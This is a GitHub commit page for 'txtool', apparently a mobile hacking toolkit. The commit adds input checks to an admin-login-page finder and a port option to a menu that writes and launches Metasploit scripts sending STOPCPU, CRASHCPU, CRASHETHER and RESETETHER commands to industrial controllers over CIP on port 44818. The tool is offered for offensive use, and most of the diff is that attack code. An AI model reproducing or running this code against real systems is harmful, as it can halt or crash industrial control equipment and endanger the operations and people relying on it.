Skip to content

Commit

Permalink
fix error
Browse files Browse the repository at this point in the history
  • Loading branch information
kuburan committed Feb 9, 2018
1 parent ebe420d commit 77d7e8a
Show file tree
Hide file tree
Showing 2 changed files with 29 additions and 8 deletions.
15 changes: 14 additions & 1 deletion module/module4.py
Original file line number Diff line number Diff line change
Expand Up @@ -6,16 +6,29 @@

sys.path.append('/data/data/com.termux/files/usr/share/txtool/core')
from fungsi import warna, IP, txtool_dir
import menu as back


def empty():
try:
print(warna.kuning + "\n[!] " + warna.tutup + "Warning. your input is empty, txtool will be assume searching is canceled")
raw_input("\n press <" + warna.hijau + "Enter" + warna.tutup + "> to continue ")

except KeyError:
pass


# search admin login page
def cari_admin_panel():
IP()
admin_panel_folder = '/data/data/com.termux/files/usr/share/txtool/core'
file = open("%s/daftar_admin_panel.txt" %
(admin_panel_folder), "r");
print(warna.kuning + "\n[!]" + warna.tutup + " Example : example.com or www.example.com")
link = raw_input(warna.biru + "[+]" + warna.tutup + " Enter your website " + warna.kuning + " >> " + warna.tutup)
if link == '':
empty()
back.menu['menu_utama']()

print(warna.hijau + "\n[*]" + warna.tutup + " tXtool still searching admin login pages, please wait a moment...\n")
while True:
sub_link = file.readline()
Expand Down
22 changes: 15 additions & 7 deletions module/module7.py
Original file line number Diff line number Diff line change
Expand Up @@ -77,17 +77,22 @@ def menu5():
empty()
back.menu['menu_utama']()

print(warna.kuning + "\n[!] " + warna.tutup + " only 4 attacks that will be accepted.\n (STOPCPU, CRASHCPU, CRASHETHER, RESETETHER)")
print(warna.hijau + "[*] " + warna.tutup + " Attacks : \n\t1 = STOPCPU\n\t2 = CRASHCPU\n\t3 = CRASHETHER\n\t4 = RESETETHER\n")
print(warna.kuning + "\n[!] " + warna.tutup + " default port is 44818")
port = raw_input(warna.biru + "\n[+] " + warna.tutup + " set Port number" + warna.kuning + " >> " + warna.tutup)
if port == '':
port = '44818'

print(warna.kuning + "\n[!] " + warna.tutup + " only 4 attacks that will be accepted. (STOPCPU, CRASHCPU, CRASHETHER, RESETETHER)")
print(warna.hijau + "\n[*] " + warna.tutup + " Attacks : \n\t1 = STOPCPU\n\t2 = CRASHCPU\n\t3 = CRASHETHER\n\t4 = RESETETHER\n")
attack = raw_input(warna.biru + "[+] " + warna.tutup + " The attack to use" + warna.kuning + " >> " + warna.tutup)
if attack == '':
empty()
back.menu['menu_utama']()

if attack == '1':
filewrite = open(txtool_dir + "/payload.rc", "w")
filewrite.write("use auxiliary/admin/scada/multi_cip_command\nset RHOST %s\nset ATTACK STOPCPU\nexploit\r\n\r\n" % (ip))

filewrite.write("use auxiliary/admin/scada/multi_cip_command\nset RHOST %s\nset RPORT %s\nset ATTACK STOPCPU\nexploit\r\n\r\n" %
(ip, port))
filewrite.close()
start()
finish_exploit()
Expand All @@ -96,7 +101,8 @@ def menu5():

if attack == '2':
filewrite = open(txtool_dir + "/payload.rc", "w")
filewrite.write("use auxiliary/admin/scada/multi_cip_command\nset RHOST %s\nset ATTACK CRASHCPU\nexploit\r\n\r\n" % (ip))
filewrite.write("use auxiliary/admin/scada/multi_cip_command\nset RHOST %s\nset RPORT %s\nset ATTACK CRASHCPU\nexploit\r\n\r\n" %
(ip, port))
filewrite.close()
start()
finish_exploit()
Expand All @@ -105,7 +111,8 @@ def menu5():

if attack == '3':
filewrite = open(txtool_dir + "/payload.rc", "w")
filewrite.write("use auxiliary/admin/scada/multi_cip_command\nset RHOST %s\nset ATTACK CRASHETHER\nexploit\r\n\r\n" % (ip))
filewrite.write("use auxiliary/admin/scada/multi_cip_command\nset RHOST %s\nset RPORT %s\nset ATTACK CRASHETHER\nexploit\r\n\r\n" %
(ip, port))
filewrite.close()
start()
finish_exploit()
Expand All @@ -114,7 +121,8 @@ def menu5():

if attack == '4':
filewrite = open(txtool_dir + "/payload.rc", "w")
filewrite.write("use auxiliary/admin/scada/multi_cip_command\nset RHOST %s\nset ATTACK RESETETHER\nexploit\r\n\r\n" % (ip))
filewrite.write("use auxiliary/admin/scada/multi_cip_command\nset RHOST %s\nset RPORT %s\nset ATTACK RESETETHER\nexploit\r\n\r\n" %
(ip, port))
filewrite.close()
start()
finish_exploit()
Expand Down

0 comments on commit 77d7e8a

Please sign in to comment.